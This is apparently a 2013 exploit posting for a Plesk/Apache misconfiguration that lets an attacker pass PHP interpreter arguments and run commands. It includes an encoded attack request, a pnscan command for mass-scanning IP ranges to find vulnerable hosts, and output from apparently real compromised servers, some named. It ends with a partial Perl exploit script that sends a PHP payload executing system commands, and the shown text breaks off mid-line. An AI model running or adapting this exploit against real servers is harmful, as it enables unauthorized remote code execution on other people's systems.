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# Title : Plesk Apache Zeroday Remote Exploit
# Published : 2013-06-05
# Author :
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Plesk Apache zeroday / June 2013
discovered & exploited by kingcope
this Plesk configuration setting makes it possible:
scriptAlias /phppath/ "/usr/bin/"
Furthermore this is not cve-2012-1823 because the php interpreter is called directly.
(no php file is called)
Parallels Plesk Remote Exploit -- PHP Code Execution and therefore Command Execution
Affected and tested: Plesk 9.5.4
Plesk 9.3
Plesk 9.2
Plesk 9.0
Plesk 8.6
Discovered & Exploited by Kingcope / June 2013
Affected and tested OS: RedHat, CentOS, Fedora
Affected and tested Platforms: Linux i386, Linux x86_64
Untested OS: Windows (php.exe?)
Unaffected: 11.0.9 due to compiled in protection of PHP version
Traces in /var/log/httpd/access_log: 192.168.74.142 - - [19/Mar/2013:18:59:41 +0100] "POST /%70%68%70%70%61%74%68/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%
6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%
62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%
3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E HTTP/1.1" 200 203 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
Shodanhq overview of Plesk on Linux:
http://www.shodanhq.com/search?q=plesklin
perl plesk-simple.pl <ip address>
...
...
...
OK
Linux ip.unsecure.net 2.6.18-028stab101.1 #1 SMP Sun Jun 24
19:50:48 MSD 2012 i686 i686 i386 GNU/Linux
uid=48(apache) gid=48(apache) groups=48(apache),2521(psaserv)
---
./pnscan -w"GET /phppath/php HTTP/1.0rnrn" -r "500 Internal" 76.12.54.163/16 80
perl plesk-simple.pl 76.12.81.206
HTTP/1.1 200 OK
Date: Sat, 16 Mar 2013 13:39:35 GMT
Server: Apache/2.2.3 (CentOS)
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html
77
Linux 114114.unsecureweb.com 2.6.18-308.24.1.el5 #1 SMP Tue Dec 4 17:43:34 E
ST 2012 x86_64 x86_64 x86_64 GNU/Linux
3e
uid=48(apache) gid=48(apache) groups=48(apache),2521(psaserv)
0
perl plesk-simple-ssl.pl <ip> (use HTTPS because HTTP gave an internal server error)
HTTP/1.1 200 OK
Date: Tue, 19 Mar 2013 15:29:28 GMT
Server: Apache/2.0.54 (Fedora)
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html
3
OK
60
Linux www.ucdavis.edu 2.6.17-1.2142_FC4 #1 Tue Jul 11 22:41:14 EDT 2006 i686 i686 i386 GNU/Linux
4c
uid=48(apache) gid=48(apache) groups=48(apache),500(webadmin),2522(psaserv)
0
use IO::Socket;
use URI::Escape;
$sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort => 80,
Proto => 'tcp');
$pwn = '<?php echo "Content-Type:text/htmlrnrn";echo "OKn";system("uname -a;id;"); ?>';
$arguments = uri_escape("-d","